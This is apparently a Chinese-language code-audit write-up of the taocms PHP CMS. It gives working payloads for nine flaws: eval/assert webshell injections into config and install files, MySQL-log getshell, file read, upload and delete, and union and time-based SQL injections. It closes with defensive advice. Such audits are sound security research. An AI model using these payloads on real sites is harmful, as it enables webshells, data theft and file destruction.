PHP代码审计之taocms
字数 1460 2025-08-25 22:58:28
PHP代码审计之taocms漏洞分析与利用
环境搭建
首先需要搭建taocms系统环境,该系统有两个主要路由文件:
- 前台路由:api.php
- 后台路由:admin.php(添加了session校验)
在common.php中:
- 22行代码调用
__autoload()魔术方法加载Model文件夹下的功能代码 - 30行去除
get_magic_quotes_gpc()方法对特殊字符加载的反斜杠,提高代码兼容性
路由分析
系统路由处理机制:
- 传入两个参数
ctrl和action - 将
action参数首字母转换为大写(因为类名首字母大写) - 判断该类是否为
Api或Comment
后台路由代码(admin.php)与前台路由类似,但添加了session校验。
漏洞审计
1. 任意文件读取/下载
漏洞位置:Model/file.php中的download()方法
漏洞代码:
file_get_contents() // 参数可控且无过滤
利用条件:
- 参数可控
- 需要配合echo等输出函数(虽然这里没有回显,但可以下载文件)
漏洞复现:
构造路由:
action=file&ctrl=download
2. 任意文件上传
漏洞位置:
- 常规上传功能:
executeupload()方法调用Upload类的upload()方法 - 创建文件功能:
create()方法
限制与绕过:
- 上传白名单(
$upext)限制了可上传后缀 - 但创建文件功能没有限制文件类型
利用方法:
- 通过创建文件功能创建.php文件
- 使用
save()方法写入恶意内容
3. MySQL日志文件getshell
漏洞位置:Sql类下的excute()方法
漏洞代码:
$sqltext = $_POST['sqltext']; // 直接执行用户输入的SQL
$this->db->query($sqltext);
利用方法(MySQL 5.6.34+):
set global general_log = on;
set global general_log_file = '网站绝对路径';
4. 通过修改配置文件getshell
漏洞位置:后台"网站设置"功能
漏洞原理:
- 直接修改config.php文件
safeword()过滤函数可被绕过(当数据库为Sqlite时)
绕过方法:
输入\'会被替换为'',第一个引号前的反斜杠可闭合前面的引号
Payload:
\');@eval($_REQUEST[1]);/*
5. 缓存文件getshell
漏洞位置:cms_category表内容控制缓存文件
利用步骤:
- 通过"管理栏目"功能插入恶意内容
- 内容会被写入缓存文件
cat_array.inc - 访问包含该文件的路由执行代码
6. SQL注入
未过滤的危险方法:
delistgetqueryupdatelistget_onegetlist
注入点示例:
delist方法:id参数未过滤27) or 1=1#getlist方法:where参数未过滤1 or sleep(5)%23lists方法:name参数过滤不严test'+or+sleep(2)%23
验证方法:
使用延时注入确认:
sleep(5)
7. install处getshell
漏洞位置:安装过程中db_name参数处理
利用方法:
db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//
8. 任意文件删除
漏洞位置:File类的del方法
POC:
?action=file&ctrl=del&path=filepath
利用方法:
结合目录穿越删除任意文件
9. SQL注入(二次分析)
POC示例:
?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2
漏洞原理:
name、cat、status参数都未充分过滤,直接拼接到SQL查询中
防御建议
- 对所有用户输入进行严格过滤和转义
- 使用预处理语句防止SQL注入
- 文件操作前检查路径合法性
- 上传功能实施严格的白名单限制
- 配置文件修改添加更严格的权限控制
- 禁用危险函数如
assert、system等 - 日志文件不应存放在web目录下